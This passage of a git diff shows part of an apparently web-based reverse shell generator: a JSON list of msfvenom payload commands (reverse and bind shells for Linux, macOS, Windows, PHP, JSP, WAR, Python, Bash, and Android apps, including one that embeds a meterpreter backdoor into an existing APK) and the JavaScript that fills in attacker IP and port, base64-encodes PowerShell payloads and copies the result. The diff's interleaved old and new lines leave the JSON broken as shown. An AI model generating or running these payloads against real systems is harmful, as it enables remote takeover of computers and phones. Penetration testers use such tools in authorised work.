||||
"name": "Linux Stageless Reverse TCP (x64)",
|
||||
"command": "msfvenom -p linux/x64/shell_reverse_tcp LHOST={ip} LPORT={port} -f elf -o reverse.elf",
|
||||
"meta": ["msfvenom", "linux", "meterpreter", "stageless", "reverse"]
|
||||
},
|
||||
{
|
||||
"name": "Linux Meterpreter Staged Reverse TCP (x86)",
|
||||
"command": "msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST={ip} LPORT={port} -f elf > shell.elf",
|
||||
"name": "Linux Meterpreter Staged Reverse TCP (x64)",
|
||||
"command": "msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST={ip} LPORT={port} -f elf -o shell.elf",
|
||||
"meta": ["msfvenom", "linux", "meterpreter", "staged", "reverse"]
|
||||
},
|
||||
{
|
||||
"name": "macOS Stageless Reverse TCP (x86)",
|
||||
"command": "msfvenom -p osx/x86/shell_reverse_tcp LHOST={ip} LPORT={port} -f macho > shell.macho",
|
||||
"name": "Windows Bind TCP ShellCode - BOF",
|
||||
"command": "msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b '\x00' -f python -v notBuf -o shellcode",
|
||||
"meta": ["msfvenom", "windows", "bind", "bufferoverflow"]
|
||||
},
|
||||
{
|
||||
"name": "macOS Meterpreter Staged Reverse TCP (x64)",
|
||||
"command": "msfvenom -p osx/x64/meterpreter/reverse_tcp LHOST={ip} LPORT={port} -f macho -o shell.macho",
|
||||
"meta": ["msfvenom", "mac", "stageless", "reverse"]
|
||||
},
|
||||
{
|
||||
"name": "macOS Meterpreter Stageless Reverse TCP (x64)",
|
||||
"command": "msfvenom -p osx/x64/meterpreter_reverse_tcp LHOST={ip} LPORT={port} -f macho -o shell.macho",
|
||||
"meta": ["msfvenom", "mac", "stageless", "reverse"]
|
||||
},
|
||||
{
|
||||
"name": "macOS Stageless Reverse TCP (x64)",
|
||||
"command": "msfvenom -p osx/x64/shell_reverse_tcp LHOST={ip} LPORT={port} -f macho -o shell.macho",
|
||||
"meta": ["msfvenom", "mac", "stageless", "reverse"]
|
||||
},
|
||||
{
|
||||
"name": "PHP Meterpreter Stageless Reverse TCP",
|
||||
"command": "msfvenom -p php/meterpreter_reverse_tcp LHOST={ip} LPORT={port} -f raw > shell.php; cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php",
|
||||
"command": "msfvenom -p php/meterpreter_reverse_tcp LHOST={ip} LPORT={port} -f raw -o shell.php",
|
||||
"meta": ["msfvenom", "windows", "linux", "meterpreter", "stageless", "reverse"]
|
||||
},
|
||||
{
|
||||
"name": "PHP Reverse PHP",
|
||||
"command": "msfvenom -p php/reverse_tcp LHOST={ip} LPORT={port} -o shell.php",
|
||||
"meta": ["msfvenom", "windows", "linux", "meterpreter", "stageless", "reverse"]
|
||||
},
|
||||
{
|
||||
"name": "JSP Stageless Reverse TCP",
|
||||
"command": "msfvenom -p java/jsp_shell_reverse_tcp LHOST={ip} LPORT={port} -f raw > shell.jsp",
|
||||
"command": "msfvenom -p java/jsp_shell_reverse_tcp LHOST={ip} LPORT={port} -f raw -o shell.jsp",
|
||||
"meta": ["msfvenom", "windows", "linux", "meterpreter", "stageless", "reverse"]
|
||||
},
|
||||
{
|
||||
"name": "WAR Stageless Reverse TCP",
|
||||
"command": "msfvenom -p java/jsp_shell_reverse_tcp LHOST={ip} LPORT={port} -f war > shell.war",
|
||||
"command": "msfvenom -p java/jsp_shell_reverse_tcp LHOST={ip} LPORT={port} -f war -o shell.war",
|
||||
"meta": ["msfvenom", "windows", "linux", "stageless", "reverse"]
|
||||
},
|
||||
{
|
||||
"name": "Android Meterpreter Reverse TCP",
|
||||
"command": "msfvenom –p android/meterpreter/reverse_tcp lhost={ip} lport={port} R > malicious.apk",
|
||||
"command": "msfvenom –p android/meterpreter/reverse_tcp lhost={ip} lport={port} R -o malicious.apk",
|
||||
"meta": ["msfvenom", "android", "android", "reverse"]
|
||||
},
|
||||
{
|
||||
|
||||
"name": "Android Meterpreter Embed Reverse TCP",
|
||||
"command": "msfvenom -x <app.apk> android/meterpreter/reverse_tcp lhost={ip} lport={port} > payload.apk",
|
||||
"command": "msfvenom -x <app.apk> android/meterpreter/reverse_tcp lhost={ip} lport={port} -o payload.apk",
|
||||
"meta": ["msfvenom", "android", "android", "reverse"]
|
||||
},
|
||||
{
|
||||
"name": "Python Stageless Reverse TCP",
|
||||
"command": "msfvenom -p cmd/unix/reverse_python LHOST={ip} LPORT={port} -f raw > shell.py",
|
||||
"command": "msfvenom -p cmd/unix/reverse_python LHOST={ip} LPORT={port} -f raw -o shell.py",
|
||||
"meta": ["msfvenom", "windows", "linux", "stageless", "reverse"]
|
||||
},
|
||||
{
|
||||
"name": "Bash Stageless Reverse TCP",
|
||||
"command": "msfvenom -p cmd/unix/reverse_bash LHOST={ip} LPORT={port} -f raw > shell.sh",
|
||||
"command": "msfvenom -p cmd/unix/reverse_bash LHOST={ip} LPORT={port} -f raw -o shell.sh",
|
||||
"meta": ["msfvenom", "linux", "macos", "stageless", "reverse"]
|
||||
},
|
||||
]
|
||||
|
417
js/script.js
Normal file
417
js/script.js
Normal file
@ -0,0 +1,417 @@
|
||||
|
||||
// Element selectors
|
||||
const ipInput = document.querySelector("#ip");
|
||||
const portInput = document.querySelector("#port");
|
||||
const listenerSelect = document.querySelector("#listener-selection");
|
||||
const shellSelect = document.querySelector("#shell");
|
||||
// const autoCopySwitch = document.querySelector("#auto-copy-switch");
|
||||
const encodingSelect = document.querySelector('#encoding');
|
||||
const listenerCommand = document.querySelector("#listener-command");
|
||||
const reverseShellCommand = document.querySelector("#reverse-shell-command");
|
||||
const bindShellCommand = document.querySelector("#bind-shell-command");
|
||||
const msfVenomCommand = document.querySelector("#msfvenom-command");
|
||||
|
||||
const FilterType = {
|
||||
'All': 'all',
|
||||
'Windows': 'windows',
|
||||
'Linux': 'linux',
|
||||
'Mac': 'mac'
|
||||
};
|
||||
|
||||
document.querySelector("#os-options").addEventListener("change", (event) => {
|
||||
const selectedOS = event.target.value;
|
||||
rsg.setState({
|
||||
filter: selectedOS,
|
||||
});
|
||||
});
|
||||
|
||||
document.querySelector("#reverse-tab").addEventListener("click", () => {
|
||||
rsg.setState({
|
||||
commandType: CommandType.ReverseShell
|
||||
});
|
||||
})
|
||||
|
||||
document.querySelector("#bind-tab").addEventListener("click", () => {
|
||||
rsg.setState({
|
||||
commandType: CommandType.BindShell
|
||||
});
|
||||
})
|
||||
|
||||
document.querySelector("#bind-tab").addEventListener("click", () => {
|
||||
document.querySelector("#bind-shell-selection").innerHTML = "";
|
||||
rsg.setState({
|
||||
commandType: CommandType.BindShell
|
||||
});
|
||||
})
|
||||
|
||||
document.querySelector("#msfvenom-tab").addEventListener("click", () => {
|
||||
document.querySelector("#msfvenom-selection").innerHTML = "";
|
||||
rsg.setState({
|
||||
commandType: CommandType.MSFVenom
|
||||
});
|
||||
});
|
||||
|
||||
var rawLinkButtons = document.querySelectorAll('.raw-listener');
|
||||
for (const button of rawLinkButtons) {
|
||||
button.addEventListener("click", () => {
|
||||
const rawLink = RawLink.generate(rsg);
|
||||
window.location = rawLink;
|
||||
});
|
||||
}
|
||||
|
||||
const filterCommandData = function (data, { commandType, filter }) {
|
||||
return data.filter(item => {
|
||||
if (!item.meta.includes(commandType)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!filter) {
|
||||
return true;
|
||||
}
|
||||
|
||||
if (filter === FilterType.All) {
|
||||
return true;
|
||||
}
|
||||
|
||||
return item.meta.includes(filter);
|
||||
});
|
||||
}
|
||||
|
||||
const rsg = {
|
||||
ip: localStorage.getItem('ip') || '10.10.10.10',
|
||||
port: localStorage.getItem('port') || 9001,
|
||||
shell: localStorage.getItem('shell') || rsgData.shells[0],
|
||||
listener: localStorage.getItem('listener') || rsgData.listenerCommands[0][1],
|
||||
encoding: localStorage.getItem('encoding') || 'None',
|
||||
selectedValues: {
|
||||
[CommandType.ReverseShell]: filterCommandData(rsgData.reverseShellCommands, { commandType: CommandType.ReverseShell })[0].name,
|
||||
[CommandType.BindShell]: filterCommandData(rsgData.reverseShellCommands, { commandType: CommandType.BindShell })[0].name,
|
||||
[CommandType.MSFVenom]: filterCommandData(rsgData.reverseShellCommands, { commandType: CommandType.MSFVenom })[0].name,
|
||||
},
|
||||
commandType: CommandType.ReverseShell,
|
||||
filter: FilterType.All,
|
||||
|
||||
uiElements: {
|
||||
[CommandType.ReverseShell]: {
|
||||
listSelection: '#reverse-shell-selection',
|
||||
command: '#reverse-shell-command'
|
||||
},
|
||||
[CommandType.BindShell]: {
|
||||
listSelection: '#bind-shell-selection',
|
||||
command: '#bind-shell-command',
|
||||
},
|
||||
[CommandType.MSFVenom]: {
|
||||
listSelection: '#msfvenom-selection',
|
||||
command: '#msfvenom-command'
|
||||
}
|
||||
},
|
||||
|
||||
copyToClipboard: (text) => {
|
||||
if (navigator ?.clipboard ?.writeText) {
|
||||
navigator.clipboard.writeText(text)
|
||||
$('#clipboard-toast').toast('show')
|
||||
} else if (window ?.clipboardData ?.setData) {
|
||||
window.clipboardData.setData('Text', text);
|
||||
$('#clipboard-toast').toast('show')
|
||||
} else {
|
||||
$('#clipboard-failure-toast').toast('show')
|
||||
}
|
||||
},
|
||||
|
||||
escapeHTML: (text) => String(text).replace(/</, '<').replace(/>/, '>'),
|
||||
|
||||
getIP: () => rsg.ip,
|
||||
|
||||
getPort: () => Number(rsg.port),
|
||||
|
||||
getShell: () => rsg.shell,
|
||||
|
||||
getEncoding: () => rsg.encoding,
|
||||
|
||||
getSelectedCommandName: () => {
|
||||
return rsg.selectedValues[rsg.commandType];
|
||||
},
|
||||
|
||||
getReverseShellCommand: () => {
|
||||
const reverseShellData = rsgData.reverseShellCommands.find((item) => item.name === rsg.getSelectedCommandName());
|
||||
return reverseShellData.command;
|
||||
},
|
||||
|
||||
generateReverseShellCommand: () => {
|
||||
let command
|
||||
|
||||
if (rsg.getSelectedCommandName() === 'PowerShell #3 (Base64)') {
|
||||
const encoder = (text) => text;
|
||||
const payload = rsg.insertParameters(rsgData.specialCommands['PowerShell payload'], encoder)
|
||||
command = "powershell -e " + btoa(payload)
|
||||
} else {
|
||||
command = rsg.getReverseShellCommand()
|
||||
}
|
||||
|
||||
const encoding = rsg.getEncoding();
|
||||
if (encoding === 'Base64') {
|
||||
command = btoa(command)
|
||||
} else {
|
||||
function encoder(string) {
|
||||
return (encoding === 'encodeURI' || encoding === 'encodeURIComponent') ? window[
|
||||
encoding](string) : string
|
||||
}
|
||||
|
||||
command = rsg.insertParameters(
|
||||
rsg.highlightParameters(
|
||||
encoder(command), encoder),
|
||||
encoder
|
||||
)
|
||||
}
|
||||
|
||||
return command;
|
||||
},
|
||||
|
||||
highlightParameters: (text, encoder) => {
|
||||
const parameters = ['{ip}', '{port}', '{shell}', encodeURI('{ip}'), encodeURI('{port}'),
|
||||
encodeURI('{shell}')
|
||||
];
|
||||
|
||||
parameters.forEach((param) => {
|
||||
if (encoder) param = encoder(param)
|
||||
text = text.replace(param, `<span class="highlighted-parameter">${param}</span>`)
|
||||
})
|
||||
return text
|
||||
},
|
||||
|
||||
init: () => {
|
||||
rsg.initListenerSelection()
|
||||
rsg.initShells()
|
||||
},
|
||||
|
||||
initListenerSelection: () => {
|
||||
rsgData.listenerCommands.forEach((listenerData, i) => {
|
||||
const type = listenerData[0];
|
||||
const command = listenerData[1];
|
||||
|
||||
const option = document.createElement("option");
|
||||
|
||||
option.value = command;
|
||||
option.selected = rsg.listener === option.value;
|
||||
option.classList.add("listener-option");
|
||||
option.innerText = type;
|
||||
|
||||
listenerSelect.appendChild(option);
|
||||
})
|
||||
},
|
||||
|
||||
initShells: () => {
|
||||
rsgData.shells.forEach((shell, i) => {
|
||||
const option = document.createElement("option");
|
||||
|
||||
option.selected = rsg.shell === shell;
|
||||
option.classList.add("shell-option");
|
||||
option.innerText = shell;
|
||||
|
||||
shellSelect.appendChild(option);
|
||||
})
|
||||
},
|
||||
|
||||
// Updates the rsg state, and forces a re-render
|
||||
setState: (newState = {}) => {
|
||||
Object.keys(newState).forEach((key) => {
|
||||
const value = newState[key];
|
||||
rsg[key] = value;
|
||||
localStorage.setItem(key, value)
|
||||
});
|
||||
Object.assign(rsg, newState);
|
||||
|
||||
rsg.update();
|
||||
},
|
||||
|
||||
insertParameters: (command, encoder) => {
|
||||
return command
|
||||
.replaceAll(encoder('{ip}'), rsg.escapeHTML(encoder(rsg.getIP())))
|
||||
.replaceAll(encoder('{port}'), encoder(String(rsg.getPort())))
|
||||
.replaceAll(encoder('{shell}'), encoder(rsg.getShell()))
|
||||
},
|
||||
|
||||
update: () => {
|
||||
rsg.updateListenerCommand()
|
||||
rsg.updateTabList()
|
||||
rsg.updateReverseShellCommand()
|
||||
rsg.updateValues()
|
||||
},
|
||||
|
||||
updateValues: () => {
|
||||
const listenerOptions = listenerSelect.querySelectorAll(".listener-option");
|
||||
listenerOptions.forEach((option) => {
|
||||
option.selected = rsg.listener === option.value;
|
||||
});
|
||||
|
||||
const shellOptions = shellSelect.querySelectorAll(".shell-option");
|
||||
shellOptions.forEach((option) => {
|
||||
option.selected = rsg.shell === option.value;
|
||||
});
|
||||
|
||||
const encodingOptions = encodingSelect.querySelectorAll("option");
|
||||
encodingOptions.forEach((option) => {
|
||||
option.selected = rsg.encoding === option.value;
|
||||
});
|
||||
|
||||
ipInput.value = rsg.ip;
|
||||
portInput.value = rsg.port;
|
||||
},
|
||||
|
||||
updateTabList: () => {
|
||||
const data = rsgData.reverseShellCommands;
|
||||
const filteredItems = filterCommandData(
|
||||
data,
|
||||
{
|
||||
filter: rsg.filter,
|
||||
commandType: rsg.commandType
|
||||
}
|
||||
);
|
||||
|
||||
const documentFragment = document.createDocumentFragment()
|
||||
filteredItems.forEach((item, index) => {
|
||||
const {
|
||||
name,
|
||||
command
|
||||
} = item;
|
||||
|
||||
const selectionButton = document.createElement("button");
|
||||
|
||||
if (rsg.getSelectedCommandName() === item.name) {
|
||||
selectionButton.classList.add("active");
|
||||
}
|
||||
|
||||
const clickEvent = () => {
|
||||
rsg.selectedValues[rsg.commandType] = name;
|
||||
rsg.update();
|
||||
|
||||
// if (document.querySelector('#auto-copy-switch').checked) {
|
||||
// rsg.copyToClipboard(reverseShellCommand.innerText)
|
||||
// }
|
||||
}
|
||||
|
||||
selectionButton.innerText = name;
|
||||
selectionButton.classList.add("list-group-item", "list-group-item-action");
|
||||
selectionButton.addEventListener("click", clickEvent);
|
||||
|
||||
documentFragment.appendChild(selectionButton);
|
||||
})
|
||||
|
||||
const listSelectionSelector = rsg.uiElements[rsg.commandType].listSelection;
|
||||
document.querySelector(listSelectionSelector).replaceChildren(documentFragment)
|
||||
},
|
||||
|
||||
updateListenerCommand: () => {
|
||||
const privilegeWarning = document.querySelector("#port-privileges-warning");
|
||||
let command = listenerSelect.value;
|
||||
command = rsg.highlightParameters(command)
|
||||
command = command.replace('{port}', rsg.getPort())
|
||||
|
||||
if (rsg.getPort() < 1024) {
|
||||
privilegeWarning.style.visibility = "visible";
|
||||
command = `<span class="highlighted-warning">sudo</span> ${command}`
|
||||
} else {
|
||||
privilegeWarning.style.visibility = "hidden";
|
||||
}
|
||||
|
||||
listenerCommand.innerHTML = command;
|
||||
},
|
||||
|
||||
updateReverseShellSelection: () => {
|
||||
document.querySelector(".list-group-item.active") ?.classList.remove("active");
|
||||
const elements = Array.from(document.querySelectorAll(".list-group-item"));
|
||||
const selectedElement = elements.find((item) => item.innerText === rsg.currentCommandName);
|
||||
selectedElement?.classList.add("active");
|
||||
},
|
||||
|
||||
updateReverseShellCommand: () => {
|
||||
const command = rsg.generateReverseShellCommand();
|
||||
const commandSelector = rsg.uiElements[rsg.commandType].command;
|
||||
document.querySelector(commandSelector).innerHTML = command;
|
||||
},
|
||||
|
||||
updateSwitchStates: () => {
|
||||
$('#listener-advanced').collapse($('#listener-advanced-switch').prop('checked') ? 'show' :
|
||||
'hide')
|
||||
$('#revshell-advanced').collapse($('#revshell-advanced-switch').prop('checked') ? 'show' :
|
||||
'hide')
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Init
|
||||
*/
|
||||
rsg.init();
|
||||
rsg.update();
|
||||
|
||||
/*
|
||||
* Event handlers/functions
|
||||
*/
|
||||
ipInput.addEventListener("input", (e) => {
|
||||
rsg.setState({
|
||||
ip: e.target.value
|
||||
})
|
||||
});
|
||||
|
||||
portInput.addEventListener("input", (e) => {
|
||||
rsg.setState({
|
||||
port: Number(e.target.value)
|
||||
})
|
||||
});
|
||||
|
||||
listenerSelect.addEventListener("change", (e) => {
|
||||
rsg.setState({
|
||||
listener: e.target.value
|
||||
})
|
||||
});
|
||||
|
||||
shellSelect.addEventListener("change", (e) => {
|
||||
rsg.setState({
|
||||
shell: e.target.value
|
||||
})
|
||||
});
|
||||
|
||||
encodingSelect.addEventListener("change", (e) => {
|
||||
rsg.setState({
|
||||
encoding: e.target.value
|
||||
})
|
||||
});
|
||||
|
||||
document.querySelector('#inc-port').addEventListener('click', () => {
|
||||
rsg.setState({
|
||||
port: rsg.getPort() + 1
|
||||
})
|
||||
})
|
||||
|
||||
document.querySelector('#listener-advanced-switch').addEventListener('change', rsg.updateSwitchStates);
|
||||
document.querySelector('#revshell-advanced-switch').addEventListener('change', rsg.updateSwitchStates);
|
||||
|
||||
setInterval(rsg.updateSwitchStates, 500) // fix switch changes in rapid succession
|
||||
|
||||
document.querySelector('#copy-listener').addEventListener('click', () => {
|
||||
rsg.copyToClipboard(listenerCommand.innerText)
|
||||
})
|
||||
|
||||
document.querySelector('#copy-reverse-shell-command').addEventListener('click', () => {
|
||||
rsg.copyToClipboard(reverseShellCommand.innerText)
|
||||
})
|
||||
|
||||
document.querySelector('#copy-bind-shell-command').addEventListener('click', () => {
|
||||
rsg.copyToClipboard(bindShellCommand.innerText)
|
||||
})
|
||||
|
||||
document.querySelector('#copy-msfvenom-command').addEventListener('click', () => {
|
||||
rsg.copyToClipboard(msfVenomCommand.innerText)
|
||||
})
|
||||
|
||||
// autoCopySwitch.addEventListener("change", () => {
|
||||
// setLocalStorage(autoCopySwitch, "auto-copy", "checked");
|
||||
// });
|
||||
|
||||
// Popper tooltips
|
||||
$(function () {
|
||||
$('[data-toggle="tooltip"]').tooltip()
|
||||
});
|
||||
|
||||
// TODO: add a random fifo for netcat mkfifo
|
||||
//let randomId = Math.random().toString(36).substring(2, 4);
|
Loading…
Reference in New Issue
Block a user